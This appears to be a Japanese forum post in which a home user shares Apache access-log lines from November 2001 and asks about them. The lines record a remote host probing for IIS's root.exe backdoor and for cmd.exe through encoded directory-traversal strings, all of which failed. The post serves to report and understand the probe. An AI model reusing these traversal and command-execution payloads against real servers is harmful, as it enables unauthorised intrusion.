自宅でCGI実験中に、APACHEを切り忘れてネットしていたら、以下の様なログが残っていました。
ちなみに接続環境はダイアルアップで、APACHEの設定はhttp://127.0.0.1です。
WHOISで調べたらどうやら韓国からの様なのですが・・・

210.180.246.108 - - [15/Nov/2001:13:34:52 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276
210.180.246.108 - - [15/Nov/2001:13:34:53 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274
210.180.246.108 - - [15/Nov/2001:13:34:54 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.180.246.108 - - [15/Nov/2001:13:34:55 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284
210.180.246.108 - - [15/Nov/2001:13:34:55 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.180.246.108 - - [15/Nov/2001:13:34:56 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.180.246.108 - - [15/Nov/2001:13:34:57 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
210.180.246.108 - - [15/Nov/2001:13:34:58 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331
210.180.246.108 - - [15/Nov/2001:13:34:59 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:00 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:00 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:01 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
210.180.246.108 - - [15/Nov/2001:13:35:02 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.180.246.108 - - [15/Nov/2001:13:35:03 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281
210.180.246.108 - - [15/Nov/2001:13:35:04 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
210.180.246.108 - - [15/Nov/2001:13:35:05 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298